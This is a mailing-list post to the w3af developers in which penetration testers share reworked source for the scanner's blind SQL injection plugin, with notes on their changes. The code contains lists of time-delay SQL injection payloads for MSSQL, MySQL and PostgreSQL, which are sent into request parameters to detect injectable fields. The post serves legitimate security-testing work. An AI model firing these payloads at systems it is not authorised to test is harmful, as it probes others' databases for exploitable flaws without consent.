We work a lot with W3AF and have found that there were some things that the
Blind SQLi plugin wasn't finding.

So we decided to correct it as much as possible to make it work better.

Modified the blind_sqli_time_delay.py
-------------------------------------------------

The first thing we added are new statement checks for mysql 5, which already
has a SLEEP function, making it more accurate to test than the benchmark
test.
For mysql 4, we still leave the benchmark test, but we reimplemented it so
that it is more accurate, it bases the amount of benchmarks to do according
to the response time of 2 base cases.

Note: The base case is done with 250000 benchmarks, if the server timeouts
on that then the detection won't work, this is really rared, we tested it in
an old Sun server of 500Mhz and worked.

Apart from that we added a weight to each statement, if an injection is
found in a statement it increases all the statements for that database, and
it gives an extra weight to the statement that generated the injection.

The statements are sent in decreasing weight order. In order to use the
successful statements first and not waste time with the others.

Modified the blindSQLi.py
------------------------------------

It sends the time test first, and only if that test is not successful then
it launches the diff test. We chose to do the time test first because the
result of that test is more trustworthy than the diff test results.

And if one is successful why lose time executing the other test.

Apart from that, we added the options to choose against which database you
want to test. If you know the database it will save you many requests.

Modified the dbms.py
------------------------------

We added MYSQL5 constant and changed MYSQL to MYSQL4 leaving MYSQL as an
alias to MYSQL4

We attach the three files in the email.

All feedback will be appreciated =D

Test it and tell us, hope it's useful for everybody.

----
Traberg, Gaston
Penetration Testing, Co-Founder.
Nasel Corporation
'''
blind_sqli_time_delay.py

Copyright 2010

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

from core.data.fuzzer.fuzzer import createMutants, createRandNum
import core.controllers.outputManager as om

import core.data.kb.vuln as vuln
import core.data.kb.knowledgeBase as kb
import core.data.constants.severity as severity

import core.data.constants.dbms as dbms

from core.controllers.w3afException import w3afException

# importing this to have sendMutant and setUrlOpener
from core.controllers.basePlugin.basePlugin import basePlugin

class blind_sqli_time_delay(basePlugin):
    '''
    This class tests for blind SQL injection bugs using time delays, 
    the logic is here and not as an audit plugin because this logic is also used in attack plugins.
    
    @author: Santiago Alessandri - CERT UNLP - Nasel Corporation - salessandri[at]nasel[dot]com[dot]ar
    @author: Gaston Traberg - CERT UNLP - Nasel Corporation - gtraberg[at]nasel[dot]com[dot]ar
    '''
    
    def __init__(self):
        # ""I'm a plugin""
        basePlugin.__init__(self)
        
        self._runned = True
        self.options = {}
        
        self._wait_time = 6
        self._error = 0.2
        
    def is_injectable( self, freq, parameter):
        '''
        Check if "parameter" of the fuzzable request object is injectable or not.
        
        @freq: The fuzzableRequest object that I have to modify
        @parameter: A string with the parameter name to test
        
        @return: A vulnerability object or None if nothing is found
        '''
        
        if self._runned:
            self._runned = False
            # Gather the statements to test
            self._statements = self._get_statements(self.options)
        
        #Do a basic test to find possible SQL Injections strings
        suspects = []
        #Gather the original value of the variable to use it later.
        original_var_value = freq.getDc()[parameter][0]
        
        base_time = self._sendMutant(freq, analyze=False).getWaitTime()
        
        suspect = False
        for statement in self._statements:
            #Sending with a high value
            if statement.dbms == dbms.MYSQL4:
                #In case it's a MySQL4 it should be treated differently
                mutant = createMutants( freq , [statement.get_param_str(original_var_value,1000000)],
                                        fuzzableParamList=[parameter] )[0]
            else:
                #Other cases it should be treated with seconds
                mutant = createMutants( freq , [statement.get_param_str(original_var_value,5)],
                                        fuzzableParamList=[parameter] )[0]
            
            try:
                response = self._sendMutant( mutant, analyze=False )
                high_time = response.getWaitTime()
            except w3afException, e:
                high_time = 9999
            
            #If the response time of the hight is at least 2 seconds more
            #we mark it as a suspected Injection.
            if high_time > base_time + 2:
                suspect = True
                break
        
        #Now we do a detailed inspection of suspected injection strings
        if suspect:
            #First get the average response time with 1 second delay or doing
            #almost nothing for MySQL
            if statement.dbms == dbms.MYSQL4:
                #If it is a MySQL4 statement it should be treated differently because it doesn't
                #have a delay function.
                
                benchs = 250000
                
                #Get the response time for a small number of benchmarks.
                mutant = createMutants( freq , [statement.get_param_str(original_var_value, benchs)],
                                        fuzzableParamList=[parameter] )[0]
                response = self._sendMutant( mutant, analyze=False )
                response_time = response.getWaitTime()
                
                #Based on response time, we can determine how many iterations we
                #need to force the server to do in order to get _wait_time seconds of delay
                diff = response_time - base_time
                secs_per_benchmark = response_time / benchs
                waiting_time = self._wait_time - base_time
                benchs_todo = waiting_time / secs_per_benchmark
                
                #Get the response time for the calculated number of iterations
                mutant = createMutants( freq , [statement.get_param_str(original_var_value,
                                                                        benchs_todo)],
                                        fuzzableParamList=[parameter] )[0]
                response = self._sendMutant( mutant, analyze=False )
                time_for_test = response.getWaitTime()
            else:
                #Calculate the response time with a delay of_wait_time 6 seconds
                mutant = createMutants( freq , [statement.get_param_str(original_var_value,
                                                                        self._wait_time)],
                                        fuzzableParamList=[parameter] )[0]
                response = self._sendMutant( mutant, analyze=False )
                time_for_test = response.getWaitTime()
                
            #If time_for_test is around (_error * _wait_time) seconds
            #Create the vulnerability object and return it.
            time_for_test -= base_time
            margin = self._wait_time * self._error
            if time_for_test > (self._wait_time - margin) and time_for_test < (self._wait_time + margin):
                #Create the vulnerability object and return it
                vuln  = self.createVuln(mutant, response, statement)
                om.out.information(str(vuln))
                #We increase the weight of the statements that belong to the
                #same database as the mathching sqli statement.
                for stmt in [ x for x in self._statements if x.dbms == statement.dbms]:
                    stmt.inc_weight(1)

                #We increase one more time the statement that generated the
                #sqli injection, so it has more weight that the others.
                #Then we sort the statement list.
                statement.inc_weight(1)
                self._statements.sort(key=statement.get_weight)
                
                return vuln
        return None

    def createVuln(self, mutant, response, statement):
        v = vuln.vuln( mutant )
        v.setName( 'Blind SQL injection - ' + statement.dbms )
        v.setSeverity(severity.HIGH)
        v.setDesc( 'Blind SQL injection was found at: ' + mutant.foundAt() )
        v.setDc( mutant.getDc() )
        v.setId( response.id )
        v.setURI( response.getURI() )
        return v

    def _get_statements( self, options ):
        '''
        @return: A list of statements, each represents a possible sql injection
                 format.
        '''
        res = []
        
        # MSSQL
        if options.get('MSSQL', True):
            res.append( statement("%s   ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s)  ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s)) ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s'  ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s') ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s'));waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s\"  ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s\") ;waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
            res.append( statement("%s\"));waitfor delay '0:0:%d'-- %d%d", dbms.MSSQL) )
        
        # MySQL5
        if options.get('MySQL5', True):
            res.append( statement("%s and SLEEP(%d) and %d=%d "      , dbms.MYSQL5) )
            res.append( statement("%s and SLEEP(%d) and %d=%d -- "   , dbms.MYSQL5) )
            res.append( statement("%s' and SLEEP(%d) and '%d'='%d"    , dbms.MYSQL5) )
            res.append( statement('%s" and SLEEP(%d) and "%d"="%d'    , dbms.MYSQL5) )
        
        # MySQL4
        if options.get('MySQL4', True):
            res.append( statement("%s and BENCHMARK(%d,MD5(1)) and %d=%d --  " , dbms.MYSQL4) )
            res.append( statement("%s and BENCHMARK(%d,MD5(1)) and %d=%d "    , dbms.MYSQL4) )
            res.append( statement("%s' and BENCHMARK(%d,MD5(1)) and '%d'='%d" , dbms.MYSQL4) )
            res.append( statement('%s" and BENCHMARK(%d,MD5(1)) and "%d"="%d' , dbms.MYSQL4) )
        
        # PostgreSQL
        if options.get('PostgreSQL', True):
            res.append( statement("%s  and pg_sleep(%d) and %d=%d "   , dbms.POSTGRE) )
            res.append( statement("%s' and pg_sleep(%d) and '%d'='%d" , dbms.POSTGRE) )
            res.append( statement('%s" and pg_sleep(%d) and "%d"="%d' , dbms.POSTGRE) )
        
        
        # TODO: Add Oracle support
        # TODO: Add XXXXX support
        
        return res
    
class statement(object):
    def __init__(self, sql_command, dbms):
        self.sql_command = sql_command
        self.dbms = dbms
        self.asked = 0
        self.weight = 0

    def get_param_str(self, origParam, value):
        self.asked += 1
        return self.sql_command%(origParam, value, self.asked, self.asked)
    
    def inc_weight(self, amount):
        self.weight += amount
    
    def get_weight(cls, statement):
        return -statement.weight

'''
dbms.py

Copyright 2008 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

# We define some constants
DB2 = 'IBM DB2 database'
MSSQL = 'Microsoft SQL database'
ORACLE = 'Oracle database'
SYBASE = 'Sybase database'
POSTGRE = 'PostgreSQL database'
MYSQL4 = 'MySQL4 database'
MYSQL = MYSQL4
MYSQL5 = 'MySQL5 database'
JAVA = 'Java connector'
ACCESS = 'Microsoft Access database'
INFORMIX = 'Informix database'
INTERBASE = 'Interbase database'
DMLDATABASE = 'DML Language database'
UNKNOWN = 'Unknown database'
'''
blindSqli.py

Copyright 2006 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

import core.controllers.outputManager as om

# options
from core.data.options.option import option
from core.data.options.comboOption import comboOption
from core.data.options.optionList import optionList

from core.controllers.basePlugin.baseAuditPlugin import baseAuditPlugin
import core.data.kb.knowledgeBase as kb

# Import the logic to find the vulnerabilities
from core.controllers.sql_tools.blind_sqli_response_diff import blind_sqli_response_diff
from core.controllers.sql_tools.blind_sqli_time_delay import blind_sqli_time_delay


class blindSqli(baseAuditPlugin):
    '''
    Find blind SQL injection vulnerabilities.
    @author: Andres Riancho ( andres.rian...@gmail.com )
    @refactored by: Santiago Alessandri - CERT UNLP - Nasel Corporation - salessandri[at]nasel[dot]com[dot]ar
    @refactored by: Gaston Traberg - CERT UNLP - Nasel Corporation - gtraberg[at]nasel[dot]com[dot]ar
    '''

    def __init__(self):
        baseAuditPlugin.__init__(self)
        self._bsqli_response_diff = blind_sqli_response_diff()
        self._blind_sqli_time_delay = blind_sqli_time_delay()
        self._first_run = True
        # User configured variables
        self._equalLimit = 0.9
        self._equAlgorithm = 'setIntersection'

    def audit(self, freq ):
        '''
        Tests an URL for blind Sql injection vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'blindSqli plugin is testing: ' + freq.getURL() )
        
        if self._first_run:
            self._first_run = False
            self._blind_sqli_time_delay.options = self._optionDict
        
        for parameter in freq.getDc():
            
            # Try to identify the vulnerabilities using response string differences
            self._bsqli_response_diff.setUrlOpener( self._urlOpener )
            self._bsqli_response_diff.setEqualLimit( self._equalLimit )
            self._bsqli_response_diff.setEquAlgorithm( self._equAlgorithm )
            
            # And I also check for Blind SQL Injections using time delays
            self._blind_sqli_time_delay.setUrlOpener( self._urlOpener )
            time_delay = self._blind_sqli_time_delay.is_injectable( freq, parameter )
            
            if time_delay != None:
                om.out.vulnerability( time_delay.getDesc() )
                kb.kb.append(self, 'blindSqli', time_delay)
            else:
                # FIXME: what about repeated parameter names?
                response_diff = self._bsqli_response_diff.is_injectable( freq, parameter )
                
                if response_diff != None:
                    om.out.vulnerability( response_diff.getDesc() )
                    kb.kb.append(self, 'blindSqli', response_diff)
                
        self._tm.join( self )
        
    def getOptions( self ):
        '''
        @return: A list of option objects for this plugin.
        '''
        d1 = 'The algorithm to use in the comparison of true and false response for blind sql.'
        h1 = 'The options are: "stringEq" and "setIntersection". '
        h1 += 'Read the long description for details.'
        o1 = option('equAlgorithm', self._equAlgorithm, d1, 'string', help=h1)
        
        d2 = 'Set the equal limit variable'
        h2 = 'Two pages are equal if they match in more than equalLimit. Only used when '
        h2 += 'equAlgorithm is set to setIntersection.'
        o2 = option('equalLimit', self._equalLimit, d2, 'float', help=h2)
        
        d3 = 'Search for MySQL4 Injections'
        h3 = 'It tries the injection strings that fit to MySQL4 syntax '
        o3 = option('MySQL4', True, d3, 'boolean', help=h3)
        
        d4 = 'Search for MySQL5 Injections'
        h4 = 'It tries the injection strings that fit to MySQL5 syntax '
        o4 = option('MySQL5', True, d4, 'boolean', help=h4)
        
        d5 = 'Search for MSSQL Injections'
        h5 = 'It tries the injection strings that fit to MSSQL syntax '
        o5 = option('MSSQL', True, d5, 'boolean', help=h5)
        
        d6 = 'Search for PostgreSQL Injections'
        h6 = 'It tries the injection strings that fit to PostgreSQL syntax '
        o6 = option('PostgreSQL', True, d6, 'boolean', help=h6)
        
        ol = optionList()
        ol.add(o1)
        ol.add(o2)
        ol.add(o3)
        ol.add(o4)
        ol.add(o5)
        ol.add(o6)
        return ol

    def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter OptionList: A dictionary with the options for the plugin.
        @return: No value is returned.
        ''' 
        self._equAlgorithm = optionsMap['equAlgorithm'].getValue()
        self._equalLimit = optionsMap['equalLimit'].getValue()
        self._optionDict = {
            'MySQL4'    : optionsMap['MySQL4'].getValue(),
            'MySQL5'    : optionsMap['MySQL5'].getValue(),
            'MSSQL'     : optionsMap['MSSQL'].getValue(),
            'PostgreSQL' : optionsMap['PostgreSQL'].getValue()
        }
        

    def getPluginDeps( self ):
        '''
        @return: A list with the names of the plugins that should be runned before the
        current one.
        '''
        return [ ]

    def getLongDesc( self ):
        '''
        @return: A DETAILED description of the plugin functions and features.
        '''
        return '''
        This plugin finds blind SQL injections.
        
        Two configurable parameters exist:
            - equAlgorithm
            - equalLimit
        
        The equAlgorithm parameter configures how the comparison of pages is done, the options for equAlgorithm are:
            - stringEq
            - setIntersection
            
        The classic way of matching two strings is "stringEq" , in Python this is "string1 == string2" , but other ways have been
        developed for sites that have changing banners and random data on their HTML response. "setIntersection" will create
        two different sets with the words inside the two HTML responses, and do an intersection. If number of words that are
        in the intersection set divided by the total words are more than "equalLimit", then the responses are equal.
        '''
------------------------------------------------------------------------------

_______________________________________________
W3af-develop mailing list
W3af-develop@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/w3af-develop

Reply via email to